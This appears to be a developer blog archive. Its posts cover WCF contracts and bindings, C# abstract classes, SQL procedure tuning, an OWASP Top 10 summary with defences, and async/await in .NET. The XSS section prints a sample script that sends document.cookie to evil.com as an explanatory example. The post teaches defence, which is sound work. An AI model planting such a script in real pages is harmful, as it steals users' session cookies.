Friday, July 15, 2016

Type of Contracts

There are two types of contracts
  1. Behavioral Contract
  2. Structural Contract
Behavioral Contract:
    1. Service Contract
    2. Operation Contract
    3. Fault Contract
Structural Contract:
    1. Data Contract
    2. Message Contract
Message Contract: Developer mostly uses DataContract but whenever we require more control over soap message MessageContract comes into picture.
Using MessageContract you can define header and body members of soap message that wcf inserts in soap message.

Note: When using message contract with a operationcontract
Either only messagecontract can be used as parameter and return value or nothing as parameter or return type.

[MessageContract]
    public class UserInfoRequestMessage
    {
        [MessageHeader()]
        public string UserAuthCode;

        [MessageBodyMember()]
        public int UserId;
    }

    [MessageContract]
    public class UserInfoResponseMessage
    {
        [MessageBodyMember()]
        public UserInfo MyUserInfo;
    }

    [ServiceContract]
    public interface IUserService
    {
        [OperationContract]
        UserInfoResponseMessage GetUserById(UserInfoRequestMessage usrInfoMessage);
    }

    public class UserService : IUserService
    {
        public UserInfoResponseMessage GetUserById(UserInfoRequestMessage usrInfoMessage)
        {
            //Method implementation
        }

    }

Friday, July 1, 2016

Virtual Vs Abstract

Differences between Abstract & Virtual functions -

Members
  • Abstract function doesn't contain any body but a virtual function contain body 
  • We must be implement the abstract function in derived class but it is not necessary for virtual function 
  • Abstract function can only use in abstract class but it is not necessary for virtual function 
  • Abstract function are called pure virtual function
  • It must be a function member. That is, fields and constants cannot be abstract members.

    Class
    • You cannot create instances of an abstract class.
    • An abstract class is declared using the abstract modifier
    • An abstract class can contain abstract members or regular, nonabstract members.
    • An abstract class can itself be derived from another abstract class
    • Any class derived from an abstract class must implement all the abstract members of the class by using the override keyword, unless the derived class is itself abstract.

    abstract class Helloworld
    {
        public int Int1 { get; set; } //Non Abstract property

        public abstract int Int2  //Abstract Property
        {
            get;
            set;
        }

        public  Helloworld()  //Constructor
        {
            Console.WriteLine("Helloworld Constructor");
        }

        public void Method1()   //Non Abstract Method
        {
            Console.WriteLine("Helloworld Method1");
        }

        public abstract void Method2();  //Abstract Method

         ~Helloworld()  //Destructor
        {
            Console.WriteLine("Helloworld Destructor");
        }
    }

    class Drived : Helloworld
    {
        public int Val;
        public override int Int2
        {
            get
            {
                return Val;
            }
            set
            {
                Val=value;
            }
        }

        public override void Method2()
        {
            Console.WriteLine("Drived Method2");
        }
    }
    class Program
    {
        static unsafe void Main(string[] args)
        {

            Drived Dr = new Drived();
            Dr.Int1 = 10;
            Dr.Int2 = 20;
            Dr.Method1();
            Dr.Method2();
            Console.ReadLine();
        }
    }

    Wednesday, June 29, 2016

    Procedure Optimization Techniques

    1. Set nocount on: Sql counts and returns number of records effected sql statement. Sql skip this if we set set nocount on.
    2. Use Schema name with objects: Use schema name with objects. Ex. Before execution sql will first try to find sp with this name in all schemas even a cached plan available then it pics the cached plan so it degared performance.
    3. Don't use sp_ prefix: sp_ format is used in master database for procedures. For sp_ pattern sql first searches sp in master database then in current session db, this degrade performance.
    4. Use 1 instead of column or * : When we need to check whether a record is exist or not.
      IF EXISTS (SELECT * FROM Emp where name like '%Ram%') --Avoid
      IF EXISTS (SELECT 1 FROM Emp where name like '%Ram%') --Recmmonded
    5. Use sp_executesql procedure for dynamic queries: This procedure supports parameter. A cached plan can be reused for sql queries also but if there is no change in query (single character) even of spaces. with sp_executesql you can pass parameters so query remain unchaged if you change parameter value
      Ex.
      --Avoid
      SET @Salary = 25000
      SET @Query = 'SELECT * FROM dbo.tblEmp WHERE salary > ' + @salary
      EXEC (@Query)
      --Recommended
      SET @Query = 'SELECT * FROM dbo.tblEmp WHERE salary = @salary'
      EXECUTE sp_executesql @Query, N'@salary int', @salary = 25
    6. Avoid Cursors: Use while loop wherever possible in place of cursor as cursor consumes more sql resources.
    7. Keep Transaction short as short as possible: Transaction uses locks that blocks other executions it degrades performance, so keep transaction shorter.

    Tuesday, May 3, 2016

    Difference b/w asmx web service and WCF service

    Difference b/w asmx web service and WCF service

    Term
    Web Service
    WCF service
    Protocol
    Http only
    Http, TCP, MSMQ, NamedPipe
    Security
    Limited (Protocol security only)
    Vast (Protocol, transactions, secure messaging)
    Hosting
    IIS only
    IIS, WAS, Self-hosting
    Serializer
    XML only
    Data contract serializer
    Duplex
    One way
    Two way request response (Duplex)

    WCF Bindings

    There are various binding supported by WCF -

              Old Client Support
    1. basicHttpBinding : Its designed to replace old ASMX web service. Supports Http and Https. Its specifically usefull to support SOAP 1.1. It doesn't support WS-* specifications like WS-Addressing, WS-Security, WS-ReliableMessaging

      Featured Internet Communication
    2. wsHttpBinding : This binding supports WS specifications, so its provide more security and reliable messaging. By default SOAP messages are encrypted. Support sessions. Supports Http and Https.
    3. wsDualHttpBinding : Its same like WSHttpBinding with support of duplex communication. It supports MEP (Message Exchange Pattern). Service as well can communicate to client via callback.
    4. wsFedratedHttpBinding : Its specialized form of WS binding with fedrated security.
    5. webHttpBinding : This binding is used to make Restful wcf service.

      Single Computer
    6. netNamedPipeBinding : It is usable when service resides in single computer only.

      Same Business Network (Intranet)
    7. netTcpBinding : It can be considered as enhancement over .Net Remoting. Uses Tcp binding. It provide security and reliable message transfering. Supports sessions. It provide best performance because both the ends have same .net technology. It uses Binary encoding of messages for transport.
    8. netPeerTcpBinding : Its same like NetTcp with peer to peer communication scenario.

      Disconnected Communication
    9. netMSMQBinding : When you required that your service can work in disconnected scenario (Without establishing communication channel).
      It creates queue for messages and pick messages to process from queue. It provide secure message queuing.
    WCF bindings
    Binding
    Protocol/
    Transport
    Message Encoding
    Security
    Default Session
    Transaction
    Duplex
    BasicHttpBinding
    Http, Https
    Text
    None
    No
    -
    -
    WSHttpBinding
    Http, Https
    Text
    Message
    Optional
    Yes
    -
    WSDualHttpBinding
    Http, Https
    Text
    Message
    Yes
    Yes
    Yes
    NetTcpBinding
    TCP
    Binary
    Transport
    Optional
    Yes
    Yes
    NetNamedPipeBinding
    Named Pipe
    Binary
    Transport
    Yes
    Yes
    Yes
    NetMsmqBinding
    MSMQ
    Binary
    Transport
    Yes
    Yes
    No
    WSFederationHttpBinding
    Http, Https
    Text
    Message
    Yes
    Yes
    No
    NetPeerTcpBinding
    P2P
    Binary
    Transport
    -
    -
    Yes


    Scenarios to choose Binding
    • If service to be consumed by clients compatible with SOAP 1.1, use basicHttpBinding for interoperability
    • If service to be consumed within the corporate network, use netTCPBinding for performance
    • If service to be consumed over the internet and the client is a WCF compatible, use wsHttpBinding to reap full benefits of WS* specifications
    • If service to be accessible only in the same machine, use netNamedPipeBinding
    • If service to be queue messages, use netMsmqBinding
    • If service to act as server as well as client in a peer to peer environment, utilise netPeerTcpBinding setting

    Sunday, February 21, 2016

    Web Application Security

    Top 10 web security vulnerabilities by OWASP(Open Web Application Security Projects) last released in 2013 in my words



    A1 - Injection
    Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
    Exploitability: (Easy) Injection some time lead complete host takover
    Reason:
    Dynamic inline queries
    Some time failed queries with errors got displayed on users screen.  hacker prepare work around by using that

    Protection:
    Use safe APIs (Application program interface)
    Use parameterized APIs
    Restrict untrusted data using
    -encoding
    -White list of characters
    -Use strong server side validation

    A2 - Broken Authentication and Session Management
    Threat Agents: Consider anonymous external attackers, as well as users with their own accounts, who may attempt to steal accounts from others. Also consider insiders wanting to disguise their actions.
    Exploitability: (Average) Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.
    Reasons:
    Storing user credentials without hashing or encrypting them: User / password can be traced using tools like fiddler
    Easily guessed passwords: Easy passwords can be guessed
    Poorly secured password change features: Password could be steal, How much we can trust on email, Sending password to email not right way
    Poorly secured password recovery features: Easy security questions not enough, like DOB, mothers maiden name
    Session IDs exposed in a URL: If your application exposes session id in url, easily hacker fixate session. A hacker will mail you similar link to your site with a id www.xyz.com?SID=jvsnfhi8e94. when you click the link and login, hacker will use same link and browse inside system.
    Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: If a user leave or just close the browser on a public machine (cafe)
    Same links can be opened by others(from history) and he can do anything with previous logged in user's account
    Session IDs aren’t rotated after a successful login:
    Passwords, session IDs, and other credentials are sent over unencrypted connections: Tools like fiddler can trace & show Passwords, session IDs, and other credentials
    Browser caching is enabled: A hacker can use cached credentials
    Protection:
    Storing user credentials without hashing or encrypting them: Use hashing/encryption with salt
    Easily guessed passwords: Enforce password policy like one capital letter, one small letter, one number, one character 8-16 length
    Poorly secured password change features: Don't send old password to user, send one time link to change password
    Poorly secured password recovery features: use security question/otp while changing password
    Session IDs exposed in a URL: Session id must be generated from server only, don't expose session id in url, use cookies
    Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: Destroy & regenerate session after a fix period of time. Destroy session on logout.
    Session IDs aren’t rotated after a successful login: Always generate new session id on login
    Passwords, session IDs, and other credentials are sent over unencrypted connections: Use secure connection, encrypted / signed data transmission, use https
    Browser caching is enabled: Disable caching on browser
    Note: Even cookies can be hacked so most secure way is to create new session id on each request and send to client

    A3 - XSS Cross Site Scripting
    Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
    Exploitability: (Average) Any source of data can be an attack vector, external user input or internal database data(infected data)
    Protection:
    Use encoding or sanitization before execution data on browser even from database
    The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL)
    Use white list of characters
    Use CSP (Content Security Policy) : Defined by W3C, that defines loading behaviour of various resources in HTTP Response header
    Set correct content type
    Set safe character set (UTF-8)
    Set correct locale
    Output encode all user data as per output context
    Set input constraints
    www.xyz.com?Fname='megha'
    Place the script in place of name 'megha'
    <script>
       window.location=“http://evil.com/?cookie=” + document.cookie
    </script>
    When this Fname will be executed on browser this will redirect to evil.com server and with cookie information of vulnerable site, now hacker can also use session
    and other info from cookie

    A4 - Unsecure Direct Object References 
    Threat Agents: Consider anyone who can access system object(s), including external users & internal users.
    Exploitability: (Easy)
    This type of attack is possible when a file name, resource name, any id, database key is exposed in url. A hacker can manipulate the id to access other objects
    for those he is not authorized.
    Detection:
    Testing - Testers can easily manipulate ids and check vulnerability
    Code review

    A 2010 security breach that leaked the email addresses of over 114,000 Apple users including politicians and CEOs was the result of an unsecure direct object reference in system of AT&T.

    Protection:
    Encrypt urls
    Authorize internal/external user(s) before giving access on any object
    OWASP's ESAPI library includes reference maps for developers to ease the implementation

    A5 - Security Misconfiguration
    Threat Agents: Anyone who can access application network, regular users.
    New generation application has increased surface area like web, app, DB servers, SAN storage, firewalls so chances of security whole also increased.
    Its good that new generation applications comes with all security implementation but it require configuration of inbuilt security features.
    Exploitability: (Easy)
    This kind of flaws refers to production ready applications. It refers insufficient or non configured inbuilt security features and left security wholes like
    unused files, pages, default accounts, firewall configuration, services configuration.
    Sometime we missed to secure unused pages because they are unused, a hacker can enter from this whole like url encryption not implemented for unused page(s).
    Sometime we missed to close or changing password for default account, a hacker can enter from this whole
    Protection:
    Read security documentation and configure inbuilt security features of application like (Configure DOS prevention attack in IIS)
    Change password for default account
    Disable unused unnecessary features
    Prevent displaying stack traces to user
    Run tools (like automated scanner) and perform regular audits to identify holes in the security configuration

    A6 - Sensitive Data Exposure 
    Threat Agents: Consider anyone who can access the system, including external users, internal users.
    Data that have strong effects if stolen on image of your organisation and application is sensitive like Credit card information, user credential, Tax id etc.
    Exploitability: (Difficult) This is difficult to hack but hackers are highly motivated to it because of its potential payouts. This could lead serious crime like bank account hacking.
    Protection: Encryption with salt is the way of protection
    Sensitive data should be salted & encrypted when on users browser
    Sensitive data should be salted & encrypted when during transportation
    Sensitive data should be salted & encrypted when even in database
    Disable caching for pages dealing with sensitive data
    Use TSL/SSL for secure transportation
    Prevent XSS

    A7 - Missing Function Level Access Control
    Threat Agents: Consider anyone who can access the system, including external users, internal users.
    Exploitability: (Easy) An user can access resource(s) on those he is not having access
    Mukesh access his private diary using link www.mydiary.com?uname=mukesh, now mukesh can manipulate link and access megha's personnel diary
    like www.mydiary.com?uname=megha
    Protection:
    Make structure like give any resource(resources/functions/pages) access to user who required only not to others
    Make access denied to all resources(resources/functions/pages), then make white list of authorized system users with mapped to resources, now on every request to any resource check with list whether requester have or not access on requested resource.
    Implement role based Authorization
    Implement server side Authorization

    A8 - Cross Site Request Forgery (CSRF)
    A malicious site sends request to vulnerable site to access a page or perform some action where user is logged in.
    Threat Agent: Any one who can load data into your user's browser
    Exploitability: (Average) Attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. If the user is authenticated, the attack succeeds
    Protection:
    Send token with every request and validate token before serving the request at server side.
    ASP.net apps :
    Prevent XSS
    Asp.net web forms:
    ViewStateUserKey = Session.SessionID then viewstate will act as a form token
    Protect SessionID using Hashing and Encryption
    Use SSL to prevent sniffing of SessionID and ViewState
    Either create a BasePage and add the following code in that and check ViewState for forms and inherit all the pages from this base page.
    protected override OnInit(EventArgs e) {
         base.OnInit(e);
         if (User.Identity.IsAuthenticated)
            ViewStateUserKey = Session.SessionID; }
    MVC:
    Use AntiForgeryTokens
    Use SSL to prevent sniffing of AntiForgeryTokens
    Mark action with attributes [HttpPost] & [ValidateAntiForgeryToken()]
    Send '_ReuestVerificationToken' with ajax calls
    @using (Html.BeginForm())
                    {
                        @Html.AntiForgeryToken();
                         <fieldset>
                          Select a file <input type="file" name="file" />
                         <input type="submit" value="Upload" />
                          </fieldset>
                    }


    A9 - Using Components with Known Vulnerabilities
    Threat Agent: Third party components
    In today's world every one is using third party component (including open source libraries) in their projects. No doubt using external components add values in terms of time and efforts. But external components may open door for security breach.
    Exploitability: (Average) Attacker identifies a weak component through scanning or manual analysis and customize the attack.
    Reasons:
    Using external components having vulnerabilities
    Using open source components
    Open source components are managed by volunteers not companies
    Many of the open source components have 20 year old code
    Most of the providers are quick to inform users but lack of awareness in users leads the issues
    Due lack to awareness users not accept released updates and fixes
    Protection: 
    Take time to analyse component that you are considering by reading provided document, read forums, read feedback of the product
    Be aware about updates from providers
    Accept updates and fixes sent by provider
    Sand boxing is the solution for unknown vulnerabilities in an external component:
    Make your won wrapper library
    Mark your library 'SecurityTransparent' so this will not be able to access 'SecurityCritical' code
    Call external component in your library
    Assign only required access to your library
    Run the library in your own app domain with limited required permissions

    A10 -  Unvalidated Redirects and Forwards
    Threat Agent: Application users, other websites & HTML feeds
    Exploitability: (Average) Unvalidated Redirects and Forwards can lead to steal access to unauthorized resources, credentials etc.
    A hacker can use Redirect or forwards implemented in your application to redirect logged in user to his(ex. www.ghost.com) site.
    User can believe and can enter credentials because url also shows actual(user's site) site name
    Ex. www.xyz.com?redirect=mysite.com
    A hacker can manipulate it to steal data or , cookie or credentials www.xyz.com?redirect=ghost.com
    Protection:
    Don't use Redirects and forwards
    If can't avoid do not determine destination by a user input
    If can't avoid validate input and authorize for logged in user
    Avoid external redirects or forwards
    Use white list of destinations (pages)
    Verify referrer links from white list
    Disable unused redirects

    Saturday, November 14, 2015

    Non Blocking Programming (Async, Await & Task)

    ⚙️ What is async / await in .NET?

    In simple terms:

    async and await enable asynchronous, non-blocking programming in .NET.

    They allow your app to perform long-running tasks (like database calls, file I/O, or API calls) without freezing the main thread.



    ๐Ÿงฉ Why Do We Need It?

    Imagine a web API endpoint that calls a database and waits for the response.
    If this were synchronous, that thread would just sit idle waiting — wasting server resources.

    But with async/await, the thread is released back to the thread pool while waiting.
    That means:

    • Better scalability — more requests can be handled.

    • No UI freeze (in desktop apps).

    • Efficient use of system threads.


    ๐Ÿง  Key Concepts

    ConceptDescription
    async keywordMarks a method as asynchronous — allows use of await inside it.
    await keywordSuspends the method until the awaited task completes, without blocking the thread.
    TaskRepresents an ongoing operation (future result).
    Task<T>Represents an async operation that returns a result.
    void async methodsOnly used for event handlers — otherwise avoid.

    ๐Ÿ’ก Example

    ๐Ÿ”น Synchronous method (blocking)

    public string GetData() { var data = File.ReadAllText("data.txt"); // blocks until done return data; }

    ๐Ÿ”น Asynchronous method (non-blocking)

    public async Task<string> GetDataAsync() { var data = await File.ReadAllTextAsync("data.txt"); // non-blocking return data; }

    ✅ While waiting for File.ReadAllTextAsync() to finish,
    the current thread is released to handle other work.


    ๐Ÿงฉ Example in ASP.NET Core Controller

    [HttpGet("user/{id}")] public async Task<IActionResult> GetUser(int id) { var user = await _userRepository.GetUserByIdAsync(id); return Ok(user); }

    Here:

    • The thread executing this request can return to the thread pool while waiting on the DB.

    • Once the task completes, .NET resumes the method and sends the response.

    This allows ASP.NET Core to handle many concurrent requests efficiently.


    ๐Ÿ”„ Async Flow Diagram

    Request → Controller → await Repository call → Thread released ↓ DB operation completes ↓ Continuation resumes → Response sent

    ๐Ÿง  Behind the Scenes

    When the compiler sees async and await, it:

    • Transforms the method into a state machine.

    • Handles continuations automatically (what happens after the task completes).

    • Avoids the need for callbacks or manual threading.


    ⚙️ Best Practices

    ✅ Use async all the way down (from controller → repository → I/O).
    ✅ Return Task or Task<T> (not void).
    ✅ Use ConfigureAwait(false) in library code (not needed in ASP.NET Core usually).
    ✅ Avoid blocking calls like .Result or .Wait() — they can cause deadlocks.
    ✅ Combine async calls efficiently using Task.WhenAll().


    ๐Ÿงพ Summary Table

    AspectSynchronousAsynchronous
    ThreadBlocked until work completesFreed while waiting
    PerformanceScales poorly under loadScales efficiently
    KeywordNoneasync / await
    Return typeTTask<T>
    Use caseQuick operationsI/O-bound operations

    ⚙️ Real-world Example in AWS/.NET

    If your ASP.NET Core Web API calls:

    • AWS DynamoDB

    • S3 file upload

    • SNS message publish

    All those SDKs have async methods (e.g., PutItemAsync, UploadAsync, PublishAsync).
    Using await makes them non-blocking, improving throughput.

    -----------------------------------------------------------------------------------------------------------------------------

    ๐Ÿงฉ Difference between Task and Task<T>

    FeatureTaskTask<T>
    Return TypeRepresents an asynchronous operation that does not return a value.Represents an asynchronous operation that returns a result of type T.
    Equivalent to (sync)Like void in synchronous methods.Like returning a value of type T in synchronous methods.
    UsageWhen the method performs work but doesn’t need to return a value.When the method performs work and returns a value asynchronously.
    Example Method Signaturepublic async Task DoWorkAsync()public async Task<int> GetCountAsync()
    How to Awaitawait DoWorkAsync();int count = await GetCountAsync();
    When to UseFire-and-forget tasks (but still awaitable) like logging, sending email, etc.Database calls, HTTP requests, file reads, calculations, etc.
    Completion HandlingOnly completion (success/failure)Completion plus a result value

    ๐Ÿ”น Example 1 — Task (no return value)

    public async Task SendEmailAsync(string to) { await emailService.SendAsync(to, "Welcome!", "Thanks for joining us!"); }

    Usage:

    await SendEmailAsync("user@example.com");

    ✅ You’re waiting for completion — but there’s no result to retrieve.


    ๐Ÿ”น Example 2 — Task<T> (returns a value)

    public async Task<int> GetUserCountAsync() { return await _dbContext.Users.CountAsync(); }

    Usage:

    int count = await GetUserCountAsync();

    ✅ You’re waiting for the task to complete and getting back a result (int).

    CI/CD - Safe DB Changes/Migrations

    Safe DB Migrations means updating your database schema without breaking the running application and without downtime . In real systems (A...